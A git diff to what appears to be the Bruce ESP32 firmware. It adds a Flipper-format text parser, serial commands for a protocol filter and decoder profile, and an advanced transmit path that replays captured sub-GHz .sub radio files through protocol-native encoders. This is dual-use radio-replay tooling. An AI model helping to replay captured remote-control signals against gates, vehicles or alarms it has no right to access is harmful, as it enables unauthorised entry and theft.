diff --git a/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
index 3ea6a373a..769fc443a 100644
--- a/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
+++ b/lib/subghz_unleashed_compat/include/lib/flipper_format/flipper_format.h
@@ -11,6 +11,7 @@
 
 typedef struct FlipperFormat {
     Stream* raw;
+    void* compat_ctx;
 } FlipperFormat;
 
 #ifdef __cplusplus
@@ -46,6 +47,9 @@ bool flipper_format_update_string_cstr(FlipperFormat* ff, const char* key, const
 
 Stream* flipper_format_get_raw_stream(FlipperFormat* ff);
 
+// Bruce compat extension: load key/value content directly from text.
+bool flipper_format_load_from_string(FlipperFormat* ff, const char* text);
+
 #ifdef __cplusplus
 }
 #endif
diff --git a/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h b/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
index d707ccb2f..ab7261a84 100644
--- a/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
+++ b/lib/subghz_unleashed_compat/include/lib/toolbox/level_duration.h
@@ -31,4 +31,14 @@ static inline LevelDuration level_duration_wait(void) {
 
 static inline bool level_duration_get_level(LevelDuration ld) { return ld.level; }
 
+static inline uint32_t level_duration_get_duration(LevelDuration ld) { return ld.duration; }
+
+static inline bool level_duration_is_reset(LevelDuration ld) {
+    return ld.duration == LEVEL_DURATION_RESET;
+}
+
+static inline bool level_duration_is_wait(LevelDuration ld) {
+    return ld.duration == LEVEL_DURATION_WAIT;
+}
+
 #endif
diff --git a/lib/subghz_unleashed_compat/src/subghz_compat.cpp b/lib/subghz_unleashed_compat/src/subghz_compat.cpp
index 2b616dad3..eef411a21 100644
--- a/lib/subghz_unleashed_compat/src/subghz_compat.cpp
+++ b/lib/subghz_unleashed_compat/src/subghz_compat.cpp
@@ -4,7 +4,11 @@
 #include <furi_hal_rtc.h>
 #include <lib/flipper_format/flipper_format.h>
 
+#include <ctype.h>
 #include <stdio.h>
+#include <string>
+#include <unordered_map>
+#include <vector>
 
 struct FuriString {
     String s;
@@ -99,15 +103,206 @@ void* furi_record_open(const char* record) {
 
 void furi_record_close(const char* record) { UNUSED(record); }
 
+struct FlipperFormatCompatEntry {
+    std::string key;
+    std::string value;
+};
+
+struct FlipperFormatCompatData {
+    std::vector<FlipperFormatCompatEntry> entries;
+    std::unordered_map<std::string, size_t> cursors;
+    std::string filetype;
+    uint32_t version = 0;
+    bool has_header = false;
+};
+
+static FlipperFormatCompatData* ff_data(FlipperFormat* ff) {
+    if(!ff) return nullptr;
+    return reinterpret_cast<FlipperFormatCompatData*>(ff->compat_ctx);
+}
+
+static std::string trim_copy(const std::string& input) {
+    size_t start = 0;
+    size_t end = input.size();
+    while(start < end && isspace((unsigned char)input[start])) start++;
+    while(end > start && isspace((unsigned char)input[end - 1])) end--;
+    return input.substr(start, end - start);
+}
+
+static std::string lower_copy(const std::string& input) {
+    std::string out = input;
+    for(char& c : out) c = (char)tolower((unsigned char)c);
+    return out;
+}
+
+static bool parse_uint_token(const std::string& token, uint32_t& out) {
+    std::string t = trim_copy(token);
+    if(t.empty()) return false;
+
+    bool hex = false;
+    if(t.size() > 2 && t[0] == '0' && (t[1] == 'x' || t[1] == 'X')) {
+        hex = true;
+        t = t.substr(2);
+    } else {
+        for(char c : t) {
+            if((c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) {
+                hex = true;
+                break;
+            }
+        }
+    }
+
+    char* end = nullptr;
+    unsigned long parsed = strtoul(t.c_str(), &end, hex ? 16 : 10);
+    if(end == t.c_str()) return false;
+    out = (uint32_t)parsed;
+    return true;
+}
+
+static bool parse_int_token(const std::string& token, int32_t& out) {
+    std::string t = trim_copy(token);
+    if(t.empty()) return false;
+
+    bool hex = false;
+    size_t i = (t[0] == '-' || t[0] == '+') ? 1 : 0;
+    if(i + 2 <= t.size() && t[i] == '0' && (t[i + 1] == 'x' || t[i + 1] == 'X')) hex = true;
+    if(!hex) {
+        for(; i < t.size(); i++) {
+            char c = t[i];
+            if((c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) {
+                hex = true;
+                break;
+            }
+        }
+    }
+
+    char* end = nullptr;
+    long parsed = strtol(t.c_str(), &end, hex ? 16 : 10);
+    if(end == t.c_str()) return false;
+    out = (int32_t)parsed;
+    return true;
+}
+
+static void split_tokens(const std::string& input, std::vector<std::string>& out) {
+    out.clear();
+    std::string token;
+    for(char c : input) {
+        if(isspace((unsigned char)c) || c == ',' || c == ';') {
+            if(!token.empty()) {
+                out.push_back(token);
+                token.clear();
+            }
+        } else {
+            token.push_back(c);
+        }
+    }
+    if(!token.empty()) out.push_back(token);
+}
+
+static bool ff_load_from_text(FlipperFormat* ff, const char* text) {
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data) return false;
+
+    data->entries.clear();
+    data->cursors.clear();
+    data->filetype.clear();
+    data->version = 0;
+    data->has_header = false;
+
+    if(!text) return false;
+    String src = String(text);
+    src.replace("\r", "");
+
+    int line_start = 0;
+    while(line_start <= (int)src.length()) {
+        int line_end = src.indexOf('\n', line_start);
+        if(line_end < 0) line_end = src.length();
+        String line = src.substring(line_start, line_end);
+        line.trim();
+
+        if(line.length() > 0) {
+            int colon = line.indexOf(':');
+            if(colon > 0) {
+                String k = line.substring(0, colon);
+                String v = line.substring(colon + 1);
+                k.trim();
+                v.trim();
+                std::string key = k.c_str();
+                std::string value = v.c_str();
+                data->entries.push_back({key, value});
+                if(lower_copy(key) == "filetype") {
+                    data->filetype = value;
+                    data->has_header = true;
+                } else if(lower_copy(key) == "version") {
+                    uint32_t version = 0;
+                    if(parse_uint_token(value, version)) data->version = version;
+                }
+            } else if(line.startsWith("Version ")) {
+                String v = line.substring(strlen("Version "));
+                v.trim();
+                uint32_t version = 0;
+                if(parse_uint_token(v.c_str(), version)) {
+                    data->version = version;
+                    data->has_header = true;
+                }
+            }
+        }
+
+        if(line_end == (int)src.length()) break;
+        line_start = line_end + 1;
+    }
+
+    return !data->entries.empty() || data->has_header;
+}
+
+static bool ff_find_next_value(
+    FlipperFormat* ff,
+    const char* key,
+    std::string& value_out) {
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data || !key) return false;
+
+    std::string needle = key;
+    size_t start = 0;
+    auto cursor_it = data->cursors.find(needle);
+    if(cursor_it != data->cursors.end()) start = cursor_it->second;
+
+    for(size_t i = start; i < data->entries.size(); i++) {
+        if(data->entries[i].key == needle) {
+            data->cursors[needle] = i + 1;
+            value_out = data->entries[i].value;
+            return true;
+        }
+    }
+
+    // Fallback: case-insensitive lookup.
+    const std::string needle_lower = lower_copy(needle);
+    for(size_t i = start; i < data->entries.size(); i++) {
+        if(lower_copy(data->entries[i].key) == needle_lower) {
+            data->cursors[needle] = i + 1;
+            value_out = data->entries[i].value;
+            return true;
+        }
+    }
+
+    return false;
+}
+
 FlipperFormat* flipper_format_file_alloc(Storage* storage) {
     UNUSED(storage);
     FlipperFormat* ff = (FlipperFormat*)malloc(sizeof(FlipperFormat));
-    if(ff) ff->raw = NULL;
+    if(ff) {
+        ff->raw = NULL;
+        ff->compat_ctx = new FlipperFormatCompatData();
+    }
     return ff;
 }
 
 void flipper_format_free(FlipperFormat* ff) {
-    if(ff) free(ff);
+    if(!ff) return;
+    delete ff_data(ff);
+    ff->compat_ctx = nullptr;
+    free(ff);
 }
 
 bool flipper_format_file_open_existing(FlipperFormat* ff, const char* path) {
@@ -119,70 +314,152 @@ bool flipper_format_file_open_existing(FlipperFormat* ff, const char* path) {
 bool flipper_format_file_open_always(FlipperFormat* ff, const char* path) {
     UNUSED(ff);
     UNUSED(path);
-    return false;
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data) return false;
+    data->entries.clear();
+    data->cursors.clear();
+    data->filetype.clear();
+    data->version = 0;
+    data->has_header = false;
+    return true;
 }
 
 bool flipper_format_file_close(FlipperFormat* ff) {
-    UNUSED(ff);
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data) return false;
+    data->entries.clear();
+    data->cursors.clear();
+    data->filetype.clear();
+    data->version = 0;
+    data->has_header = false;
     return true;
 }
 
 bool flipper_format_read_header(FlipperFormat* ff, FuriString* filetype, uint32_t* version) {
-    UNUSED(ff);
-    if(filetype) furi_string_set(filetype, "");
-    if(version) *version = 0;
-    return false;
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data || !data->has_header) {
+        if(filetype) furi_string_set(filetype, "");
+        if(version) *version = 0;
+        return false;
+    }
+    if(filetype) furi_string_set(filetype, data->filetype.c_str());
+    if(version) *version = data->version;
+    return true;
 }
 
 bool flipper_format_write_header_cstr(FlipperFormat* ff, const char* type, uint32_t version) {
-    UNUSED(ff);
-    UNUSED(type);
-    UNUSED(version);
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data) return false;
+    data->filetype = type ? type : "";
+    data->version = version;
+    data->has_header = true;
     return true;
 }
 
 bool flipper_format_rewind(FlipperFormat* ff) {
-    UNUSED(ff);
+    FlipperFormatCompatData* data = ff_data(ff);
+    if(!data) return false;
+    data->cursors.clear();
     return true;
 }
 
 bool flipper_format_read_uint32(FlipperFormat* ff, const char* key, uint32_t* out, size_t cnt) {
-    UNUSED(ff);
-    UNUSED(key);
-    UNUSED(out);
-    UNUSED(cnt);
-    return false;
+    if(!out || cnt == 0) return false;
+    std::string value;
+    if(!ff_find_next_value(ff, key, value)) return false;
+
+    std::vector<std::string> tokens;
+    split_tokens(value, tokens);
+    if(tokens.size() < cnt) return false;
+
+    for(size_t i = 0; i < cnt; i++) {
+        if(!parse_uint_token(tokens[i], out[i])) return false;
+    }
+    return true;
 }
 
 bool flipper_format_read_int32(FlipperFormat* ff, const char* key, int32_t* out, size_t cnt) {
-    UNUSED(ff);
-    UNUSED(key);
-    UNUSED(out);
-    UNUSED(cnt);
-    return false;
+    if(!out || cnt == 0) return false;
+    std::string value;
+    if(!ff_find_next_value(ff, key, value)) return false;
+
+    std::vector<std::string> tokens;
+    split_tokens(value, tokens);
+    if(tokens.size() < cnt) return false;
+
+    for(size_t i = 0; i < cnt; i++) {
+        if(!parse_int_token(tokens[i], out[i])) return false;
+    }
+    return true;
 }
 
 bool flipper_format_read_bool(FlipperFormat* ff, const char* key, bool* out, size_t cnt) {
-    UNUSED(ff);
-    UNUSED(key);
-    UNUSED(out);
-    UNUSED(cnt);
-    return false;
+    if(!out || cnt == 0) return false;
+    std::string value;
+    if(!ff_find_next_value(ff, key, value)) return false;
+
+    std::vector<std::string> tokens;
+    split_tokens(value, tokens);
+    if(tokens.size() < cnt) return false;
+
+    for(size_t i = 0; i < cnt; i++) {
+        std::string v = lower_copy(tokens[i]);
+        if(v == "1" || v == "true" || v == "yes" || v == "on")
+            out[i] = true;
+        else if(v == "0" || v == "false" || v == "no" || v == "off")
+            out[i] = false;
+        else
+            return false;
+    }
+    return true;
 }
 
 bool flipper_format_read_hex(FlipperFormat* ff, const char* key, uint8_t* out, size_t cnt) {
-    UNUSED(ff);
-    UNUSED(key);
-    UNUSED(out);
-    UNUSED(cnt);
-    return false;
+    if(!out || cnt == 0) return false;
+    std::string value;
+    if(!ff_find_next_value(ff, key, value)) return false;
+
+    std::vector<std::string> tokens;
+    split_tokens(value, tokens);
+
+    if(tokens.size() >= cnt) {
+        for(size_t i = 0; i < cnt; i++) {
+            std::string t = tokens[i];
+            if(t.size() > 2 && t[0] == '0' && (t[1] == 'x' || t[1] == 'X')) t = t.substr(2);
+            char* end = nullptr;
+            unsigned long parsed = strtoul(t.c_str(), &end, 16);
+            if(end == t.c_str()) return false;
+            out[i] = (uint8_t)parsed;
+        }
+        return true;
+    }
+
+    // Compact representation: "AABBCC..." (without separators).
+    std::string compact;
+    compact.reserve(value.size());
+    for(char c : value) {
+        if(isxdigit((unsigned char)c)) compact.push_back(c);
+    }
+    if(compact.size() < cnt * 2) return false;
+    for(size_t i = 0; i < cnt; i++) {
+        std::string byte = compact.substr(i * 2, 2);
+        char* end = nullptr;
+        unsigned long parsed = strtoul(byte.c_str(), &end, 16);
+        if(end == byte.c_str()) return false;
+        out[i] = (uint8_t)parsed;
+    }
+    return true;
 }
 
 bool flipper_format_read_string(FlipperFormat* ff, const char* key, FuriString* out) {
-    UNUSED(ff);
-    UNUSED(key);
-    if(out) furi_string_set(out, "");
-    return false;
+    if(!out) return false;
+    std::string value;
+    if(!ff_find_next_value(ff, key, value)) {
+        furi_string_set(out, "");
+        return false;
+    }
+    furi_string_set(out, value.c_str());
+    return true;
 }
 
 bool flipper_format_write_uint32(FlipperFormat* ff, const char* key, const uint32_t* in, size_t cnt) {
@@ -260,6 +537,10 @@ Stream* flipper_format_get_raw_stream(FlipperFormat* ff) {
     return ff->raw;
 }
 
+bool flipper_format_load_from_string(FlipperFormat* ff, const char* text) {
+    return ff_load_from_text(ff, text);
+}
+
 size_t stream_size(Stream* s) {
     UNUSED(s);
     return 0;
diff --git a/src/core/serial_commands/rf_commands.cpp b/src/core/serial_commands/rf_commands.cpp
index 90f3bd703..800fc454e 100644
--- a/src/core/serial_commands/rf_commands.cpp
+++ b/src/core/serial_commands/rf_commands.cpp
@@ -8,6 +8,16 @@
 #include <ArduinoJson.h>
 #include <globals.h>
 
+static bool parseBoolArg(const String &arg, bool defaultValue) {
+    String s = arg;
+    s.trim();
+    s.toLowerCase();
+    if (s.length() == 0) return defaultValue;
+    if (s == "1" || s == "true" || s == "yes" || s == "on") return true;
+    if (s == "0" || s == "false" || s == "no" || s == "off") return false;
+    return defaultValue;
+}
+
 uint32_t rfRxCallback(cmd *c) {
     Command cmd(c);
 
@@ -102,7 +112,7 @@ uint32_t rfTxFileCallback(cmd *c) {
     Argument filepathArg = cmd.getArgument("filepath");
     Argument hideDefaultUIArg = cmd.getArgument("hideDefaultUI");
     String filepath = filepathArg.getValue();
-    String hideDefaultUI = hideDefaultUIArg.getValue();
+    String hideDefaultUIArgValue = hideDefaultUIArg.getValue();
     filepath.trim();
 
     if (filepath.indexOf(".sub") == -1) {
@@ -120,9 +130,8 @@ uint32_t rfTxFileCallback(cmd *c) {
         return false;
     }
 
-    RfCodes data{};
-
-    return readSubFile(fs, filepath, data) && txSubFile(data, hideDefaultUI);
+    bool hideDefaultUI = parseBoolArg(hideDefaultUIArgValue, false);
+    return txSubFilePath(fs, filepath, hideDefaultUI);
 }
 
 uint32_t rfTxBufferCallback(cmd *c) {
@@ -138,11 +147,7 @@ uint32_t rfTxBufferCallback(cmd *c) {
     f.close();
     free(txt);
 
-    RfCodes data{};
-
-    bool r = readSubFile(&PSRamFS, tmpfilepath, data);
-
-    r = txSubFile(data);
+    bool r = txSubFilePath(&PSRamFS, tmpfilepath);
     PSRamFS.remove(tmpfilepath);
 
     return r;
diff --git a/src/core/serial_commands/subghz_advanced_commands.cpp b/src/core/serial_commands/subghz_advanced_commands.cpp
index 772192fa9..0efb78d95 100644
--- a/src/core/serial_commands/subghz_advanced_commands.cpp
+++ b/src/core/serial_commands/subghz_advanced_commands.cpp
@@ -117,6 +117,53 @@ static uint32_t subghzAdvProtocolsCallback(cmd* c) {
     return true;
 }
 
+static uint32_t subghzAdvProfileCallback(cmd* c) {
+    Command cmd(c);
+    Argument profileArg = cmd.getArgument("profile");
+    if(!profileArg.isSet()) return false;
+
+    String profile = profileArg.getValue();
+    profile.trim();
+    profile.toUpperCase();
+
+    SubGhzAdvancedEngine& engine = SubGhzAdvancedEngine::instance();
+    engine.begin();
+
+    if(profile == "CORE")
+        engine.setProfile(SubGhzAdvancedProfile::CORE);
+    else if(profile == "FULL")
+        engine.setProfile(SubGhzAdvancedProfile::FULL);
+    else
+        return false;
+
+    serialDevice->println(engine.getProfileName());
+    return true;
+}
+
+static uint32_t subghzAdvFilterCallback(cmd* c) {
+    Command cmd(c);
+    Argument filterArg = cmd.getArgument("protocol");
+    if(!filterArg.isSet()) return false;
+
+    String value = filterArg.getValue();
+    value.trim();
+
+    SubGhzAdvancedEngine& engine = SubGhzAdvancedEngine::instance();
+    engine.begin();
+
+    String lower = value;
+    lower.toLowerCase();
+    if(lower.length() == 0 || lower == "any" || lower == "none" || lower == "off" || lower == "*")
+        engine.clearProtocolFilter();
+    else
+        engine.setProtocolFilter(value);
+
+    String active = engine.getProtocolFilter();
+    if(active.length() == 0) active = "Any";
+    serialDevice->println(active);
+    return true;
+}
+
 void createSubGhzAdvancedCommands(SimpleCLI* cli) {
     Command root = cli->addCompositeCmd("subghz_adv");
 
@@ -133,4 +180,10 @@ void createSubGhzAdvancedCommands(SimpleCLI* cli) {
 
     Command protocols = root.addCommand("protocols", subghzAdvProtocolsCallback);
     protocols.addPosArg("profile", "current");
+
+    Command profile = root.addCommand("profile", subghzAdvProfileCallback);
+    profile.addPosArg("profile");
+
+    Command filter = root.addCommand("filter", subghzAdvFilterCallback);
+    filter.addPosArg("protocol", "any");
 }
diff --git a/src/modules/rf/rf_scan.cpp b/src/modules/rf/rf_scan.cpp
index ca00c9585..9dcfb87ae 100644
--- a/src/modules/rf/rf_scan.cpp
+++ b/src/modules/rf/rf_scan.cpp
@@ -823,7 +823,7 @@ String rf_scan(float start_freq, float stop_freq, int max_loops) {
 
 String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
     RCSwitch rcswitch = RCSwitch();
-    RfCodes received;
+    RfCodes received = {};
 
     if (!frequency) frequency = bruceConfigPins.rfFreq; // default from config
 
@@ -876,7 +876,9 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 // Serial.println(received.data);
                 decimalToHexString(received.key, hexString);
 
-                enrichLegacyWithAdvancedDecoder(received, false);
+                // Headless callers (CLI/JS/advanced engine) decode again in their own pipeline.
+                // Skipping legacy enrich here avoids running two decoder stacks on the same capture.
+                if (!headless) enrichLegacyWithAdvancedDecoder(received, false);
 
                 if (!headless) display_info(received, 1, raw);
             }
@@ -903,7 +905,7 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 received.preset = "0";
                 received.filepath = "unsaved";
                 // NOTE: do NOT clear received.data here - it was just built above
-                enrichLegacyWithAdvancedDecoder(received, true);
+                if (!headless) enrichLegacyWithAdvancedDecoder(received, true);
                 if (!headless) display_info(received, 1, raw);
             } else {
                 received.data = ""; // too few transitions - discard
@@ -922,7 +924,7 @@ String RCSwitch_Read(float frequency, int max_loops, bool raw, bool headless) {
                 // TODO: show a dialog/warning?
                 // raw = yesNoDialog("decoding failed, save as RAW?");
             }
-            enrichLegacyWithAdvancedDecoder(received, raw || received.protocol == "RAW");
+            if (!headless) enrichLegacyWithAdvancedDecoder(received, raw || received.protocol == "RAW");
             String subfile_out = "Filetype: Bruce SubGhz File\nVersion 1\n";
             subfile_out += "Frequency: " + String(int(frequency * 1000000)) + "\n";
             if (!raw) {
diff --git a/src/modules/rf/rf_send.cpp b/src/modules/rf/rf_send.cpp
index 480536863..d59dfd3e8 100644
--- a/src/modules/rf/rf_send.cpp
+++ b/src/modules/rf/rf_send.cpp
@@ -2,6 +2,7 @@
 #include "core/led_control.h"
 #include "core/type_convertion.h"
 #include "rf_utils.h"
+#include "modules/subghz_advanced/subghz_advanced_transmitter_adapter.h"
 #include <RCSwitch.h>
 
 #define CLOSE_MENU 3
@@ -17,6 +18,39 @@ uint8_t num_signal_repeat = 4;
 String filepath = "";
 FS *filesystem = NULL;
 
+static void clearParsedCodeBuffers() {
+    bitList.clear();
+    bitRawList.clear();
+    keyList.clear();
+    rawDataList.clear();
+}
+
+static bool readSubFileText(FS *fs, const String &path, String &outText) {
+    outText = "";
+    if (!fs || !fs->exists(path)) return false;
+
+    File f = fs->open(path, FILE_READ);
+    if (!f) return false;
+
+    while (f.available()) {
+        outText += f.readStringUntil('\n');
+        outText += "\n";
+    }
+    f.close();
+    return outText.length() > 0;
+}
+
+static bool tryAdvancedTxFromSubText(const String &capture, bool hideDefaultUI) {
+    if (capture.length() == 0) return false;
+#ifdef SUBGHZ_ADV_PROFILE_FULL
+    const bool fullProfile = true;
+#else
+    const bool fullProfile = false;
+#endif
+    if (!SubGhzAdvancedTransmitterAdapter::canHandleCapture(capture, fullProfile)) return false;
+    return SubGhzAdvancedTransmitterAdapter::transmitCapture(capture, fullProfile, hideDefaultUI);
+}
+
 void sendCustomRF() {
     // interactive menu part only
     struct RfCodes selected_code;
@@ -48,12 +82,20 @@ void sendCustomRF() {
         if (filepath == "" || check(EscPress)) return; //  cancelled
 
         RfCodes data{};
+        clearParsedCodeBuffers();
 
         if (!readSubFile(filesystem, filepath, data)) continue;
 
-        if (data.protocol == "RcSwitch") {
-            loopEmulate(data);
-        } else {
+        String captureText = "";
+        if (readSubFileText(filesystem, filepath, captureText) &&
+            tryAdvancedTxFromSubText(captureText, false)) {
+            clearParsedCodeBuffers();
+            delay(200);
+            continue;
+        }
+
+        if (data.protocol == "RcSwitch") loopEmulate(data);
+        else {
             txSubFile(data);
             delay(200);
         }
@@ -273,6 +315,17 @@ bool readSubFile(FS *fs, String filepath, RfCodes &data) {
     return true;
 }
 
+bool txSubFilePath(FS *fs, const String &filepath, bool hideDefaultUI) {
+    String captureText = "";
+    if (readSubFileText(fs, filepath, captureText) && tryAdvancedTxFromSubText(captureText, hideDefaultUI)) {
+        return true;
+    }
+
+    RfCodes data{};
+    clearParsedCodeBuffers();
+    return readSubFile(fs, filepath, data) && txSubFile(data, hideDefaultUI);
+}
+
 bool txSubFile(RfCodes &selected_code, bool hideDefaultUI) {
     int sent = 0;
 
@@ -325,10 +378,7 @@ bool txSubFile(RfCodes &selected_code, bool hideDefaultUI) {
     if (!hideDefaultUI) { displayTextLine("Sent " + String(sent) + "/" + String(total), true); }
 
     // Reset vectors
-    bitList.clear();
-    bitRawList.clear();
-    keyList.clear();
-    rawDataList.clear();
+    clearParsedCodeBuffers();
 
     delay(1000);
     deinitRfModule();
diff --git a/src/modules/rf/rf_send.h b/src/modules/rf/rf_send.h
index 83b60ad14..f42c0bd74 100644
--- a/src/modules/rf/rf_send.h
+++ b/src/modules/rf/rf_send.h
@@ -8,6 +8,7 @@
 
 void sendCustomRF();
 bool txSubFile(RfCodes &selected_code, bool hideDefaultUI = false);
+bool txSubFilePath(FS *fs, const String &filepath, bool hideDefaultUI = false);
 bool readSubFile(FS *fs, String filepath, RfCodes &data);
 
 void sendRfCommand(struct RfCodes rfcode, bool hideDefaultUI = false);
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
index a4bfee6c5..078ff5556 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
@@ -270,6 +270,7 @@ struct DecodeContext {
     int best_score = -1;
     uint32_t frequency_hz = 0;
     size_t pulse_count = 0;
+    String protocol_filter = "";
 };
 
 static void subghzRxCallback(
@@ -279,6 +280,7 @@ static void subghzRxCallback(
     UNUSED(receiver);
     DecodeContext* ctx = (DecodeContext*)context;
     if(!ctx || !decoder_base || !decoder_base->protocol) return;
+    if(ctx->protocol_filter.length() && ctx->protocol_filter != decoder_base->protocol->name) return;
 
     SubGhzAdvancedFrame current;
     current.valid = true;
@@ -321,11 +323,28 @@ size_t SubGhzAdvancedDecoderAdapter::getEnabledProtocolCount(bool full_profile)
     return registry ? registry->size : 0;
 }
 
+const SubGhzProtocolRegistry* SubGhzAdvancedDecoderAdapter::getProtocolRegistry(bool full_profile) {
+    return selectRegistry(full_profile);
+}
+
+bool SubGhzAdvancedDecoderAdapter::isProtocolEnabled(const String& protocol_name, bool full_profile) {
+    const SubGhzProtocolRegistry* registry = selectRegistry(full_profile);
+    if(!registry || !registry->items || registry->size == 0) return false;
+
+    for(size_t i = 0; i < registry->size; i++) {
+        const SubGhzProtocol* protocol = registry->items[i];
+        if(!protocol || !protocol->name) continue;
+        if(protocol_name == protocol->name) return true;
+    }
+    return false;
+}
+
 bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
     const String& text,
     uint32_t frequency_hz,
     bool full_profile,
-    SubGhzAdvancedFrame& frame) {
+    SubGhzAdvancedFrame& frame,
+    const String* protocol_filter) {
     std::vector<int32_t> durations;
     if(!parseRawDurations(text, durations)) return false;
 
@@ -344,9 +363,16 @@ bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
     DecodeContext ctx;
     ctx.frequency_hz = frequency_hz;
     ctx.pulse_count = durations.size();
+    if(protocol_filter) {
+        ctx.protocol_filter = *protocol_filter;
+        ctx.protocol_filter.trim();
+    }
 
     subghz_receiver_set_rx_callback(rx, subghzRxCallback, &ctx);
     subghz_receiver_set_filter(rx, (SubGhzProtocolFlag)0xFFFFFFFFu);
+    // Decoder instances are allocated from raw malloc in vendor code.
+    // Ensure every decoder state machine starts from a known state before feeding pulses.
+    subghz_receiver_reset(rx);
 
     for(const int32_t d : durations) {
         if(d == 0) continue;
@@ -367,11 +393,12 @@ bool SubGhzAdvancedDecoderAdapter::decodeRawSubText(
 SubGhzAdvancedFrame SubGhzAdvancedDecoderAdapter::decodeBruceCapture(
     const String& capture,
     const String& source,
-    bool full_profile) {
+    bool full_profile,
+    const String* protocol_filter) {
     SubGhzAdvancedFrame parsed = SubGhzAdvancedSubFileCodec::parse(capture, source);
     SubGhzAdvancedFrame decoded;
 
-    if(decodeRawSubText(capture, parsed.frequency_hz, full_profile, decoded)) {
+    if(decodeRawSubText(capture, parsed.frequency_hz, full_profile, decoded, protocol_filter)) {
         decoded.source = source;
         if(decoded.frequency_hz == 0) decoded.frequency_hz = parsed.frequency_hz;
         if(decoded.bit_count == 0) decoded.bit_count = parsed.bit_count;
diff --git a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
index 62185106b..3b2e76642 100644
--- a/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
+++ b/src/modules/subghz_advanced/subghz_advanced_decoder_adapter.h
@@ -5,21 +5,27 @@
 
 #include <vector>
 
+typedef struct SubGhzProtocolRegistry SubGhzProtocolRegistry;
+
 class SubGhzAdvancedDecoderAdapter {
 public:
     static SubGhzAdvancedFrame decodeBruceCapture(
         const String& capture,
         const String& source = "live-rx",
-        bool full_profile = false);
+        bool full_profile = false,
+        const String* protocol_filter = nullptr);
 
     static void getEnabledProtocolNames(bool full_profile, std::vector<String>& out);
     static size_t getEnabledProtocolCount(bool full_profile);
+    static const SubGhzProtocolRegistry* getProtocolRegistry(bool full_profile);
+    static bool isProtocolEnabled(const String& protocol_name, bool full_profile);
 
     static bool decodeRawSubText(
         const String& text,
         uint32_t frequency_hz,
         bool full_profile,
-        SubGhzAdvancedFrame& frame);
+        SubGhzAdvancedFrame& frame,
+        const String* protocol_filter = nullptr);
 };
 
 #endif
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.cpp b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
index e0f992288..94b96def4 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.cpp
@@ -5,12 +5,23 @@
 #include "modules/rf/rf_send.h"
 #include "subghz_advanced_decoder_adapter.h"
 #include "subghz_advanced_subfile_codec.h"
+#include "subghz_advanced_transmitter_adapter.h"
 
 static void normalizePath(String& p) {
     p.trim();
     if(!p.startsWith("/")) p = "/" + p;
 }
 
+static bool readFileText(FS* fs, const String& path, String& out_text) {
+    out_text = "";
+    if(fs == nullptr || !fs->exists(path)) return false;
+    File f = fs->open(path, FILE_READ);
+    if(!f) return false;
+    while(f.available()) out_text += f.readStringUntil('\n') + "\n";
+    f.close();
+    return out_text.length() > 0;
+}
+
 SubGhzAdvancedEngine& SubGhzAdvancedEngine::instance() {
     static SubGhzAdvancedEngine s;
     return s;
@@ -46,12 +57,22 @@ String SubGhzAdvancedEngine::getProfileName() const {
     return m_profile == SubGhzAdvancedProfile::FULL ? "FULL" : "CORE";
 }
 
+void SubGhzAdvancedEngine::setProtocolFilter(const String& protocol_name) {
+    m_protocolFilter = protocol_name;
+    m_protocolFilter.trim();
+}
+
+void SubGhzAdvancedEngine::clearProtocolFilter() { m_protocolFilter = ""; }
+
+String SubGhzAdvancedEngine::getProtocolFilter() const { return m_protocolFilter; }
+
 SubGhzAdvancedFrame
 SubGhzAdvancedEngine::analyzeSubFileText(const String& text, const String& source) {
     begin();
     const bool full_profile = (m_profile == SubGhzAdvancedProfile::FULL);
+    const String* protocol_filter = m_protocolFilter.length() ? &m_protocolFilter : nullptr;
     SubGhzAdvancedFrame frame =
-        SubGhzAdvancedDecoderAdapter::decodeBruceCapture(text, source, full_profile);
+        SubGhzAdvancedDecoderAdapter::decodeBruceCapture(text, source, full_profile, protocol_filter);
     if(frame.valid) pushRecent(frame);
     return frame;
 }
@@ -98,6 +119,16 @@ bool SubGhzAdvancedEngine::transmitSubFile(FS* fs, const String& path, bool hide
     SubGhzAdvancedFrame frame;
     analyzeSubFile(fs, path, frame);
 
+    // Advanced TX path: use protocol-native encoders from vendored Unleashed when applicable.
+    String content = "";
+    if(readFileText(fs, path, content)) {
+        const bool full_profile = (m_profile == SubGhzAdvancedProfile::FULL);
+        if(SubGhzAdvancedTransmitterAdapter::canHandleCapture(content, full_profile)) {
+            return SubGhzAdvancedTransmitterAdapter::transmitCapture(
+                content, full_profile, hideDefaultUI);
+        }
+    }
+
     RfCodes data{};
     return readSubFile(fs, path, data) && txSubFile(data, hideDefaultUI);
 }
@@ -116,16 +147,23 @@ bool SubGhzAdvancedEngine::transmitPathAuto(const String& inputPath, bool hideDe
     return false;
 }
 
